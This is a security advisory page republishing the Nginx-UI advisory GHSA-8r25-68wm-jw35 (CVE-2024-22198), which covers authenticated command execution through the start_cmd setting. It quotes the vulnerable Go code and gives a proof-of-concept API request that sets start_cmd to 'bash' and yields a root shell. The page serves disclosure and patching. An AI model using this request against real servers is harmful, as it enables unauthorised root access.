Ecosyste.ms: Advisories
An open API service providing security vulnerability metadata for many open source software ecosystems.
Security Advisories: GSA_kwCzR0hTQS04cjI1LTY4d20tanczNc4AA4Y5
Authenticated (user role) arbitrary command execution by modifying `start_cmd` setting (GHSL-2023-268)
Summary
Nginx-UI is a web interface to manage Nginx configurations. It is vulnerable to arbitrary command execution by abusing the configuration settings.
Details
The Home > Preference
page exposes a list of system settings such as Run Mode
, Jwt Secret
, Node Secret
and Terminal Start Command
. The latter is used to specify the command to be executed when a user opens a terminal from the web interface. While the UI doesn't allow users to modify the Terminal Start Command
setting, it is possible to do so by sending a request to the API.
func InitPrivateRouter(r *gin.RouterGroup) {
r.GET("settings", GetSettings)
r.POST("settings", SaveSettings)
...
}
The SaveSettings
function is used to save the settings. It is protected by the authRequired
middleware, which requires a valid JWT token or a X-Node-Secret
which must equal the Node Secret
configuration value. However, given the lack of authorization roles, any authenticated user can modify the settings.
The SaveSettings
function is defined as follows:
func SaveSettings(c *gin.Context) {
var json struct {
Server settings.Server `json:"server"`
...
}
...
settings.ServerSettings = json.Server
...
err := settings.Save()
...
}
The Terminal Start Command
setting is stored as settings.ServerSettings.StartCmd
. By spawning a terminal with Pty
, the StartCmd
setting is used:
func Pty(c *gin.Context) {
...
p, err := pty.NewPipeLine(ws)
...
}
The NewPipeLine
function is defined as follows:
func NewPipeLine(conn *websocket.Conn) (p *Pipeline, err error) {
c := exec.Command(settings.ServerSettings.StartCmd)
...
This issue was found using CodeQL for Go: Command built from user-controlled sources.
Proof of Concept
Based on this setup using
uozi/nginx-ui:v2.0.0-beta.7
.
- Login as a newly created user.
- Send the following request to modify the settings with
"start_cmd":"bash"
:
POST /api/settings HTTP/1.1
Host: 127.0.0.1:8080
Content-Length: 512
Authorization: <<JWT TOKEN>>
Content-Type: application/json
{"nginx":{"access_log_path":"","error_log_path":"","config_dir":"","pid_path":"","test_config_cmd":"","reload_cmd":"","restart_cmd":""},"openai":{"base_url":"","token":"","proxy":"","model":""},"server":{"http_host":"0.0.0.0","http_port":"9000","run_mode":"debug","jwt_secret":"...","node_secret":"...","http_challenge_port":"9180","email":"...","database":"foo","start_cmd":"bash","ca_dir":"","demo":false,"page_size":10,"github_proxy":""}}
- Open a terminal from the web interface and execute arbitrary commands as
root
:
root@1de46642d108:/app# id
uid=0(root) gid=0(root) groups=0(root)
Impact
This issue may lead to authenticated Remote Code Execution, Privilege Escalation, and Information Disclosure.
Permalink: https://github.com/advisories/GHSA-8r25-68wm-jw35JSON: https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04cjI1LTY4d20tanczNc4AA4Y5
Source: GitHub Advisory Database
Origin: Unspecified
Severity: High
Classification: General
Published: 11 months ago
Updated: 11 months ago
CVSS Score: 7.1
CVSS vector: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:L
Identifiers: GHSA-8r25-68wm-jw35, CVE-2024-22198
References:
- https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-8r25-68wm-jw35
- https://github.com/0xJacky/nginx-ui/commit/827e76c46e63c52114a62a899f61313039c754e3
- https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/api/system/settings.go#L18
- https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/api/terminal/pty.go#L11
- https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/internal/pty/pipeline.go#L29
- https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/router/middleware.go#L45
- https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/settings/server.go#L12
- https://nvd.nist.gov/vuln/detail/CVE-2024-22198
- https://github.com/advisories/GHSA-8r25-68wm-jw35
Blast Radius: 1.0
Affected Packages
go:github.com/0xJacky/Nginx-UI
Dependent packages: 0Dependent repositories: 0
Downloads:
Affected Version Ranges: < 2.0.0.beta.9
Fixed in: 2.0.0.beta.9
All affected versions:
All unaffected versions: 1.1.0, 1.2.0, 1.2.1, 1.2.2, 1.3.0, 1.3.1, 1.3.2, 1.4.0, 1.4.1, 1.4.2, 1.5.0, 1.5.1, 1.5.2, 1.6.0, 1.6.1, 1.6.2, 1.6.3, 1.6.5, 1.6.6, 1.6.7, 1.6.8, 1.7.0, 1.7.1, 1.7.2, 1.7.3, 1.7.4, 1.7.5, 1.7.6, 1.7.7, 1.7.8, 1.7.9, 1.8.0, 1.8.1, 1.8.2, 1.8.3, 1.8.4, 1.9.9